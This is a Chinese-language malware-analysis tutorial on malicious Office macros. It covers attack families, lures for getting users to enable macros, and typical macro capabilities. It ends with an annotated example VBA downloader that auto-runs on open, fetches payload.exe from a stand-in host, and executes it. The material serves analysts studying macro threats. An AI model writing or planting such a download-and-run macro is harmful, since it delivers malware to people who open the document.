恶意代码分析之Office宏代码分析


恶意代码分析之Office宏代码分析

文章插图
 
 
0x00 前言在之前的文章中,讲述了几个常见的恶意样本的一些常规分析手法 。主要使用的工具有exeinfo(查壳)、IDA(静态分析)、od&xdbg32(动态调试)、Systrace&火绒剑(行为分析)等 。从本小节开始,文章将讲述不同种类的非PE样本和一些更复杂的PE样本如何调试和分析 。关于非PE样本的概述,在之前的文章中已经进行了概要的介绍,目前来讲,非PE样本在攻击链中往往属于重要的部分 。在本节中,笔者将详细介绍关于office在类的非PE样本的分析方法 。
 
0x01 Office宏简介该部分的主要内容来源于19年年底我看到的一个英文论文,原文链接暂时找不到了,后续如果找到了我会贴在评论中 。
基于宏的攻击活动目前利用office宏进行攻击应该是一个比较主流的攻击方式了,但是通常情况下,宏代码并不能很好地实现所有的功能,更多的时候,宏代码都是作为一个加在器或者下载器载攻击中发挥作用的 。有时候,宏代码会直接访问攻击者的C2,下载恶意文件到本地运行 。有时候,宏代码会解密释放出一个powershell代码,再调用powershell脚本,通过powershell脚本去实现环境检测、文件下载等功能 。宏代码基于的是VB的语法,如果没有混淆的宏代码阅读起来倒是比较方便,但是现在的大多数宏样本都会有混淆和一些反调试手法,所以在遇到各类宏代码的时候也要根据情况去分析 。
一些钟爱office宏攻击的家族Emotet
Emotet是一个专注于银行攻击的木马家族,该家族从2014年活跃至今,别是在2019年,每天Emotet都会在全球发送超过十万封钓鱼邮件进行攻击 。关于Emotet,是目前比较活跃的银行木马,该组织的攻击样本也比较有特色,之后有机会写一篇文章对该家族的样本进行一个完整的分析 。
FTCODE
一款由宏作为载体,释放powershell实现的勒索软件,活跃至2019年 。
Sandworm: BlackEnergy / Olympic Destroyer
sandworm每次攻击的起始都是宏2015年和2016年两次袭击乌克兰发电厂,导致停电 。2018年攻击平昌冬奥会 。
Other
除此之外,还有像Dridex、Rovnix、Vawtrak、FIN4、Locky、APT32、TA505、Hancitor、Trickbot、FIN7、Buran、 Ursni、Gozi,、Dreambot、 TA2101/Maze ransomware、 等家族,都会在攻击过程中使用到带有恶意宏代码的office文档 。
恶意宏如何运行先来看一个典型的宏利用文档打开的提示:
恶意代码分析之Office宏代码分析

文章插图
 
由于宏的危险性,office通常情况下默认是禁用宏执行的,所以当带有宏的文件打开,就会询问用户是否开启宏,为了让用户在不知情的情况下启用宏,攻击者也是想了很多方式,我大概遇见过这么几种:1.在文档中间显示一个模糊的图片,提示用户启用宏才能查看清晰图片 。2.在文档中伪造按全的机构,比如伪造微软,或者伪造一个杀软的图标,让用户相信这个文档是安全的 。3.与用户交互,把宏代码的执行设置在用户单击了某个图片或者按钮则提示用户启用宏 。
恶意宏代码通常被用来做什么一般来讲,恶意宏代码可以实现以下操作:Run Automatically 自动运行Download Files 下载文件CreateFiles 创建文件Execute a file 执行、启动文件Run a system command 执行系统命令call any dll 调用任意dllInject Shellcode 注入shellcodeCall any ActiveXObkject 调用任意的ActiveXObjectSimulate Keystrokes 模拟用户点击…
需要注意的是,一个恶意程序可能完全由宏实现,但是更多的情况下,宏用于加载或者下载其他恶意程序 。所以对于一个未知的office文档来讲,启用office的宏和打开未知的exe文件一样危险:
恶意代码分析之Office宏代码分析

文章插图
 
一个简单的VBA Downloader(下载者),有时候也称为Dropper(加载器)示例:
privateDeclare Function URLDownloadToFileA Lib "urlmon" (ByVak A AS Long,ByVal B As String , ByVal C As String ,ByVal D As Long ,ByVal E As Long ) As LongSub Auto_Open()Dim result As Longfname = Environ("TEMP") & "agent.exe"result =URLDownloadToFileA(0,"http:compromised.com/payload.exe",fname,0,0)Shell fnameEnd Sub这里使用的URLDownloadToFileA来自于系统dll urlmon.dll在第六行定义了名为Auto_Open的函数,该函数在文档打开的时候会自动运行(如果允许文档执行宏)第八行滴位置,指明了下载文件的存放路径和名称第9行的地方调用了URLDownloadToFileA函数,下载文件保存到本地第10行的位置执行下载的payload


推荐阅读